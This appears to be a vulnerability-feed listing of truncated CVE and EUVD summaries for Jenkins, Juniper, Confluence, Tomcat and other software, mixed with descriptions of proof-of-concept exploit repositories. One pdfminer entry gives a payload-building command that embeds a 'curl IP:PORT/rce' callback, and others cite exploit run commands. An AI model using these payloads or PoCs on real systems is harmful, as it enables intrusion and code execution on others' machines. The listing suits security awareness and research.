CVE-2026-117616

Versions of Jenkins 2.587 and earlier , and LTS 2.580.1 and earlier , are vulnerable to an issue where an HTTP endpoint loads agents by name without proper validation. This allows an attacker with Overall/Read permission to load any config.xml file from the controller file system as an agent conf...

EUVD-2026-112181

Jenkins 2.587 and earlier, LTS 2.580.1 and earlier provides an HTTP endpoint that loads agents by name without validating the name, allowing attackers with Overall/Read permission to load any config.xml file on the controller file system as an agent configuration, and to overwrite an arbitrary...

CVE-2026-117614

Jenkins versions 2.587 and earlier (and LTS 2.580.1 and earlier ) are vulnerable to arbitrary code execution. The software converts launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without verifying administrator approval. An attacker with...

EUVD-2026-112179

Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC for CVE-2024-30085 Proof of Concept exploit for the CVE-2024-30085 privilege escalation vulnerability. For educational and security research purposes only. ⚠️ Legal Warning FOR EDUCATIONAL USE ONLY ✅ Authorized security research ✅ Controlled laboratories ✅ Cybersecurity education ❌...

CVE-2026-103402

The Juniper Networks Session Smart Router and Session Smart Conductor are affected by an Insufficient Verification of Data Authenticity vulnerability in the PCLI component. The root cause is the processing of unverified cache files, which allows an attacker with write access to the model cache di...

EUVD-2026-112219

An Insufficient Verification of Data Authenticity vulnerability in PCLI in Juniper Networks Session Smart Router and Session Smart Conductor allows an attacker with write access to the model cache directory to execute arbitrary code and escalate privileges via the processing of unverified cache...

CVE-2022-26711

CVE-2022-26711: Apple ImageIO WebP Integer Overflow An integer overflow vulnerability in Apple's ImageIO framework when parsing WebP images, leading to an out-of-bounds memory access. Full Writeup - Detailed root cause analysis with disassembly walkthrough. Overview An integer overflow occurs...

FreeRDP-Out-of-Bounds-Read-CVE-2024-32459-

FreeRDP-Out-of-Bounds-Read-CVE-2024-32459- The FreeRDP-Out-of-Bounds-Read-CVE-2024-32459 vulnerability is a security flaw discovered in FreeRDP, an open-source program used for implementing the Remote Desktop Protocol RDP This vulnerability arises from input processing weaknesses, allowing an...

CVE-2025-64512

CVE-2025-64512 Arbitrary Code Execution in pdfminer.six via Crafted PDF Input PoC based on https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz % python3 mkpdf.py -h usage...

CVE-2019-8601

Exploiting CVE-2019-8601 This is an exploit for a WebKit vulnerability that was originally discovered by Fluoroacetate during the pwn2own competition in Vancouver. While I did not discover this bug, I wrote this exploit to practice my exploit development skills. The original writeup for this...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method. Resources https://vulners.com/cve/CVE-2016-2098 Usage To use this...

cve-2021-25646

Apache Druid Remote Code Execution Vulnerability Summary Apache Druid has released a security update announcing a remote code execution vulnerability, numbered CVE-2021-25646. Due to the lack of authorization and authentication by default in Apache Druid, attackers can send specially crafted...

CVE-2025-8088

Security Analysis: Path Traversal Exploitation in WinRAR CVE-2025-8088 Note: Repository under development. This project will receive future updates with additional analyses, analysis scripts non-exploit, and presentation material. New versions will be published as soon as they are available. This...

CVE-2022-26134

CVE-2022-26134 POC Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. POC 1. Run python3 confluence.py -u...

CVE-2024-31835

CVE-2024-31835 Cross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a craftedpayload to the file name parameter. Affected Component: FlatPress CMS Admin Panel File Upload Field Fixed version: Flatpress v1.3 - will be fixed in...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC Proof of Concept PoC exploiting CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization whe...

spring-cloud-function-rce

Spring Cloud Function SPEL Expression Injection Vulnerability CVE-2022-22963 Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications on any type of deployment platform. The serverless framework in Spring Cloud, the RoutingFunctio...

CVE-2020-12753-PoC

CVE-2020-12753-PoC This repo contains a proof-of-concept for 🔋📱❄️🥾🔓, an SBL1/aboot vuln for Secure EL3 arbitrary code execution on the LG Stylo 4 AMZ/Q710ULM. This is only tested on updates 20a and 20c and with the SBL1 variant of the vulnerability. - Makefile : Builds rawresourcesamod.img given...

TrueConf Server Code Execution

The vulnerability of the TrueConf Server software is related to the lack of measures taken to neutralize special elements. Exploiting this vulnerability allows a malicious actor operating remotely to execute arbitrary code...